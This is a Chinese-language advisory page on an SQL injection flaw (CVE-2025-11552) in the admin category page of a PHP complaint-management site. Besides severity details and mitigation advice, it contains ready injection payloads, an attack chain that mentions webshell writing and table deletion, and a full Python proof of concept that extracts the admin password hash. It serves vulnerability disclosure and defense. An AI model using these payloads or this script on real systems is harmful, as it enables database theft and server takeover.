IPBUF安全漏洞报告
English
CVE-2025-11552 CVSS 6.3 中危

CVE-2025-11552:Online Complaint Site category.php SQL注入漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-11552
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Complaint Site

相关标签

SQL注入CVE-2025-11552Online Complaint Sitecode-projectsPHPWeb应用漏洞中危漏洞管理后台category.php公开PoC

漏洞概述

CVE-2025-11552是code-projects公司开发的Online Complaint Site(在线投诉站点)管理系统1.0版本中存在的一个SQL注入漏洞。该漏洞于2025年10月9日由VulDB社区的研究人员发现并公开披露,CVSS 3.1基础评分为6.3分,属于中危级别漏洞。

Online Complaint Site是一款用于管理用户投诉和建议的Web应用程序,提供投诉提交、分类管理、状态跟踪等功能。该漏洞位于管理后台的分类管理模块,具体存在于/admin/category.php文件中,对Category参数的处理存在缺陷,攻击者可以通过构造恶意的SQL语句注入到数据库查询中,从而绕过正常的安全验证机制。

根据CVSS向量分析,该漏洞具有以下特征:攻击向量为网络(AV:N),攻击复杂度低(AC:L),攻击者仅需低权限(PR:L)即可利用,无需用户交互(UI:N)。一旦成功利用,攻击者可以读取、修改或删除数据库中的敏感信息,对系统的机密性、完整性和可用性均造成低级别影响。

该漏洞的利用代码已在GitHub上公开(参考链接:https://github.com/QuJun1/cve/issues/4),意味着该漏洞被恶意利用的风险较高。管理员应尽快采取修复措施,避免系统遭受SQL注入攻击。

技术细节

该SQL注入漏洞位于Online Complaint Site 1.0的/admin/category.php文件中,具体产生于Category参数的处理逻辑中。

**漏洞原理:**
在/admin/category.php文件中,应用程序接收用户通过HTTP请求提交的Category参数,并将其直接拼接到SQL查询语句中,而未对用户输入进行充分的过滤、转义或参数化处理。这种直接将外部输入嵌入SQL语句的做法是典型的SQL注入漏洞成因。

**利用方式:**
1. 攻击者首先需要获取管理员后台的访问权限(低权限要求PR:L),这通常可以通过默认凭据、暴力破解或其他方式获得。
2. 登录管理后台后,访问/admin/category.php页面。
3. 在Category参数中注入恶意SQL语句,例如使用单引号闭合原有SQL语句的字符串边界,然后追加UNION SELECT等SQL片段来提取数据库信息。
4. 通过构造类似以下形式的Payload进行注入:
- `' UNION SELECT 1,username,password FROM admin-- -`
- `' OR '1'='1' -- -`
- 基于时间的盲注Payload:`' OR SLEEP(5)-- -`
5. 成功利用后,攻击者可以获取数据库中的敏感信息(如管理员凭据、用户数据等),甚至可能通过MySQL的INTO OUTFILE等功能写入Webshell,实现远程代码执行。

**影响范围:**
- 机密性影响(C:L):可读取数据库中的敏感数据
- 完整性影响(I:L):可修改或删除数据库记录
- 可用性影响(A:L):可通过DROP TABLE等操作破坏数据库

由于漏洞利用代码已公开,该漏洞面临较高的实际威胁,管理员需及时修复。

攻击链分析

STEP 1
步骤1:获取管理员凭据
攻击者通过默认凭据、暴力破解、社会工程学或购买泄露的数据库等方式获取Online Complaint Site管理后台的低权限访问权限。
STEP 2
步骤2:访问分类管理页面
使用获取的管理员凭据登录系统后台,导航至/admin/category.php分类管理页面,该页面是漏洞存在的目标文件。
STEP 3
步骤3:构造SQL注入Payload
在Category参数中注入恶意SQL语句,如使用UNION SELECT联合查询、布尔盲注或时间盲注等技术绕过正常查询逻辑。
STEP 4
步骤4:提取敏感数据
通过SQL注入漏洞读取数据库中的管理员密码哈希、用户个人信息、投诉内容等敏感数据。
STEP 5
步骤5:权限提升与持久化
利用获取的管理员凭据哈希进行解密或直接修改数据库中的管理员密码,实现权限提升,并可能植入后门维持持久访问。
STEP 6
步骤6:数据破坏或进一步攻击
通过SQL注入执行DROP TABLE等破坏性操作,或利用INTO OUTFILE写入Webshell,进一步控制服务器进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11552 PoC - Online Complaint Site SQL Injection # Target: /admin/category.php # Vulnerable Parameter: Category import requests TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/category.php" USERNAME = "admin" PASSWORD = "admin" session = requests.Session() # Step 1: Login to admin panel login_url = f"{TARGET_URL}/admin/" login_data = { "username": USERNAME, "password": PASSWORD, "submit": "Login" } session.post(login_url, data=login_data) # Step 2: Exploit SQL Injection via Category parameter # Error-based injection to extract database information payloads = [ # Basic injection test "' OR '1'='1", # Union-based injection to extract data "' UNION SELECT 1,user(),database()-- -", # Extract admin credentials "' UNION SELECT 1,username,password FROM admin-- -", # Time-based blind injection "' OR SLEEP(5)-- -", # Extract table names "' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -" ] for payload in payloads: params = { "Category": payload } response = session.get(f"{TARGET_URL}{ADMIN_PATH}", params=params) print(f"[*] Payload: {payload}") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if "error" in response.text.lower() or "warning" in response.text.lower(): print(f"[!] Possible SQL Error Detected!") print("-" * 60) # Step 3: Extract sensitive data using boolean-based blind injection def extract_data(query): """Extract data character by character using boolean-based blind injection""" result = "" for i in range(1, 50): for char_code in range(32, 127): payload = f"' OR ASCII(SUBSTRING(({query}),{i},1))={char_code}-- -" params = {"Category": payload} response = session.get(f"{TARGET_URL}{ADMIN_PATH}", params=params) # Check if the response differs from the normal response if len(response.text) > 1000: # Adjust threshold as needed result += chr(char_code) print(f"[+] Extracted so far: {result}") break else: break return result # Extract admin password hash print("\n[*] Extracting admin password hash...") admin_hash = extract_data("SELECT password FROM admin LIMIT 1") print(f"[+] Admin Password Hash: {admin_hash}")

影响范围

code-projects Online Complaint Site 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)立即修改管理员后台的默认密码,使用强密码策略;2)限制/admin/目录的访问IP,仅允许可信IP地址访问管理后台;3)在Web服务器层面部署WAF规则,对包含SQL关键字(如UNION、SELECT、OR、SLEEP等)的请求进行过滤;4)修改源代码,对Category参数使用mysqli_real_escape_string()或PDO参数化查询进行处理;5)关闭数据库的错误回显,避免泄露SQL查询细节;6)监控数据库日志,检测异常的SQL查询行为;7)定期备份数据库,以便在遭受攻击后能够快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表